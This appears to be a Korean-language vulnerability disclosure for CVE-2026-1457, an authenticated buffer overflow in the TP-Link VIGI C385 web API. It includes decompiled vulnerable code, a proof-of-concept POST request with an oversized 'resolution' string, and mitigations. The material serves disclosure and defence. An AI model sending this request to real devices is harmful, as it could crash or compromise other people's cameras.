ii4gsp/cve-2026-1457CVE-2026-1457에 대한 상세 분석 및 개념 증명을 제공하며, TP-Link VIGI C385 웹 API의 인증된 버퍼 오버플로우로 인해 원격 코드 실행이 발생합니다.
CVE-2026-1457은 TP-Link VIGI C385 V1의 웹 API에서 발생하는 인증된 버퍼 오버플로우 취약점입니다. 이 취약점으로 인해 인증된 공격자가 원격 코드 실행(RCE)을 수행할 수 있습니다.
CVSS v4.0 점수: 8.5 (높음)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| 제품 모델 | 영향을 받는 버전 |
|---|---|
| VIGI C385 V1 | < 3.1.1 Build 251124 Rel.50371n |
set_resolution_18AAD8 함수는 길이 검증 없이 strcpy를 사용하여 사용자 입력을 버퍼에 복사하므로 버퍼 오버플로우가 발생합니다.
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // v4가 &v6[29]보다 크면 true
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ 버퍼 오버플로우
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ 버퍼 오버플로우
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 버퍼는 72바이트로 선언되었지만 strcpy는 &v6[29] 위치에서 수행됩니다.v7 버퍼는 88바이트로 선언되었지만 strcpy는 &v7[29] 위치에서 수행됩니다.v4)은 strcpy 사용 전에 길이 검증이 이루어지지 않아 버퍼 오버플로우가 발생합니다.v6)와 59바이트(v7)뿐이지만 더 긴 문자열이 복사될 수 있습니다.stok 토큰 필요)공격자는 /ds 엔드포인트의 set_resolution 기능을 악용하여 악성 페이로드를 전송할 수 있습니다.
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
이 문서에는 실행 가능한 익스플로잇 코드가 포함되어 있지 않습니다. 다음 스크린샷은 리버스 셸 연결로 이어지는 성공적인 익스플로잇을 보여줍니다:
펌웨어 업데이트: 영향을 받는 장치를 버전 3.1.1 Build 251124 Rel.50371n 이상으로 업데이트하십시오.
네트워크 격리: 가능한 경우 VIGI C385 장치를 격리된 네트워크 세그먼트에 배치하십시오.
접근 제어: 관리 인터페이스에 대한 접근을 신뢰할 수 있는 네트워크로만 제한하십시오.
모니터링: 비정상적인 네트워크 트래픽 또는 장치 동작을 모니터링하십시오.
이 취약점은 다음 연구원들에 의해 발견되고 분석되었습니다:
NSHC RedAlert Labs 소속